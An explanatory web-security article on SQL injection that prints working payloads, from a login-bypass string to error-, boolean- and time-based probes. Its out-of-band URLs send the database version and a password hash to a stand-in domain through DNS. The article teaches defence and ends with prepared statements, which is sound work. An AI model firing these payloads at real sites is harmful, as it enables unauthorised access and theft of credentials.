In the early days of the internet building websites was very simple; no JavaScript and no CSS and a few pictures. But as the web grew more popular the need for more advanced technology and dynamic websites arose. This lead to the development of CGI and server side scripting languages like ASP, JSP and PHP.
In order to be able to store user input and site content databases were needed. It is therefore of no surprise that every big server side scripting language added support for SQL databases in its early versions. However, as with almost every technical improvement new attack vectors were found. One of the most dangerous issues in terms of data confidentiality and integrity in web applications is a vulnerability called SQL injection.
This article explains what a SQL Injection is and how attackers can exploit it. If you’d like to learn more about the vulnerability’s history read the history of the SQL injection vulnerability.
What is a SQL Injection Vulnerability?
Non-Technical Explanation of the SQL Injection Vulnerability
Imagine a fully automated bus that functions based on instructions humans give it through a standard web form. That form might look like this:
Drive through <route> and <where should the bus stop?> if <when should the bus stop?>.
Below is an example of a populated form:
Drive through route 66 and stop on bus stops if there are people on the bus stops.
The values in bold are the ones provided by humans, which are instructing the bus what to do. Imagine a scenario where someone manages to feed these instructions:
Drive through route 66 and do not stop on bus stops and ignore the rest of this form. if there are people on the bus stop.
The bus is fully automated, so it does exactly as instructed; it drives up through route 66 and does not stop on any bus stop, even when there are people waiting. This technique is called “injection” and it happens because of the way instructions are handled. The automated bus does not differentiate between instructions and data, it simply parses anything that it is fed.
The SQL injection vulnerability is based on the same concept, where an attacker is able to inject malicious instructions in benign instructions which are then sent to the database server through a web application, as explained below.
Technical Explanation of SQL Injection Vulnerability
As the name suggests, a SQL injection vulnerability allows an attacker to inject malicious input into a SQL statement. To fully understand the issue we first have to understand how server side scripting languages handle SQL queries. For example a functionality in the web application generates a string with the following SQL statement:
$statement = "SELECT * FROM users WHERE username = 'bob' AND password = 'mysecretpw'";
The above SQL statement is passed to a function that sends the string to the connected database where it is parsed, executed and returns the result. As you might have noticed the statement contains some special characters:
* is an instruction for the SQL database to return all columns for the found database row
= is an instruction for the SQL database to only return values that match the searched string
' is used to instruct the SQL database where the search string starts or ends
Now consider the following example in which the website user is able to change the values of $user and $password, such as in a login form;
$statement = "SELECT * FROM users WHERE username = '$user' AND password = '$password'";
An attacker can easily insert any special SQL syntax inside the statement above if the input is not being filtered by the application. For example:
$statement = "SELECT * FROM users WHERE username = 'admin'; -- ' AND password = 'anything'";
What happened above? The green part is the input of the attacker, in which we can see two new special characters.
; is used to instruct the SQL parser that the current statement has ended. This is not necessary in most cases.
-- instructs the SQL parser that the rest of the line (shown in grey above) is a comment and should not be executed.
This SQL injection effectively removes the password check and returns a dataset for an existing user, like admin in this case. Therefore the attacker can now login in with an administrator account without having to specify a password.
The Different Types of the SQL Injection Vulnerability
There are several different methods for an attacker to exfiltrate data from a server through SQL Injection vulnerabilities. Some common ones include retrieving data based on errors, timing and conditions (true / false). Let’s look into the different variants of the SQL injection vulnerability:
Error based SQL Injection
When exploiting an Error Based SQL Injection vulnerability the attacker can retrieve information such table names and content from visible database errors. Here is an example of an error based SQL injection:
https://example.com/index.php?id=1+and(select 1 FROM(select count(*),concat((select (select concat(database())) FROM information_schema.tables LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)
Such request returns the following error: Duplicate entry 'database1' for key 'group_key'
The same method works for table names and content. It is always a good idea to disable error messages on a production system to not give an attacker any insider information.
Boolean Based SQL Injection
Sometimes there is no visible error message on the page when a SQL query fails, making it difficult for an attacker to get information from the vulnerable application. However there is still a way to extract information.
For example when a SQL query fails sometimes some parts of the web page disappear, change or the whole website does not load at all. These indications allow an attacker to determine if the input parameter is vulnerable, and if it allows extraction of data. A common test for that is to insert some condition inside the SQL query such as:
https://example.com/index.php?id=1+AND+1=1
If the page loads as usual it might be vulnerability to a SQL Injection. To be sure an attacker typically tries to provoke a false result, such as:
https://example.com/index.php?id=1+AND+1=2
Since the condition is false, if no result is returned and the page does not work as usual, for example has some missing text, or a white page is shown, it might be vulnerable to a SQL injection. Here is an example of how to extract data with the above technique:
https://example.com/index.php?id=1+AND+IF(version()+LIKE+'5%',true,false)
With the above request the page should load as usual if the database version is 5.X, but will behave differently (e.g. empty page) if the version is different, giving the attacker an indication if it is vulnerable to SQL injection or not.
Time based SQL Injection
In some cases a vulnerable SQL query does not have any visible effect on the output of the page. Thouh in such cases it is still possible to extract information from the underlying database when exploiting a SQL injection vulnerability.
This is done by instructing the database to wait a measurable amount of time before responding. If the page is not vulnerable it will load as usual, but if it is vulnerable it will take longer to load. By using this method data can still be extracted even though there are no visible change on the page. The SQL syntax can be similar to the one used in the boolean based SQL injection vulnerability. But to get a measurable sleep time we have to change the “true” to a function that takes some time to execute, such as sleep(3) which lets the database sleep for 3 seconds:
https://example.com/index.php?id=1+AND+IF(version()+LIKE+'5%',sleep(3),false)
If the page takes longer than usual to load it is safe to assume that the database version is 5.X.
Out-of-Band SQL Injection Vulnerability
Sometimes the only way an attacker can retrieve information from a database is to use out of band techniques. Usually these type of attacks involve sending the data directly from the database server to a machine that is controlled by the attacker. Attackers might use such method if an injection does not occur directly after the supplied data is inserted, but at a later point in time. An example for an Out-of-Band technique follows:
https://example.com/index.php?id=1+AND+(SELECT+LOAD_FILE(concat('\\\\',(SELECT @@version),'example.com\\')))
https://www.example.com/index.php?query=declare @pass nvarchar(100);SELECT @pass=(SELECT TOP 1 password_hash FROM users);exec('xp_fileexist ''\\' + @pass + '.example.com\c$\boot.ini''')
With the above requests, the target makes a DNS request to the attacker owned domain with the query result inside the sub domain. By using this method an attacker does not need to directly see the result of the injection, but can wait until the database server sends a request instead.
Impacts of the SQL Injection Vulnerability
There are a variety of things an attacker can do when exploiting a SQL injection on a vulnerable website. Mostly though it depends on the privileges the user the web application uses has to connect to the database server. By exploiting a SQL injection vulnerability an attacker can:
Add, delete, edit or read content from the database
Read source code from files on the database server
Write files to the database server
It all depends on the capabilities of the attacker, but the exploitation of a SQL injection vulnerability can even lead to complete takeover of the database and web server. You can learn more useful tips on how to test the impact of an SQL injection vulnerability on your website by referring to the SQL injection cheat sheet.
Preventing SQL Injection Vulnerabilities
Server side scripting languages are not able to determine whether or not the SQL query string is malformed; all they can do is send a string to the database server and wait for the interpreted response.
Therefore when developing web applications you should use prepared statements to prevent SQL injections. When using prepared statements the structure and data are separated and can be interpreted by the sql server without risking that an attacker is able to change the structure of the SQL query for malicious purposes.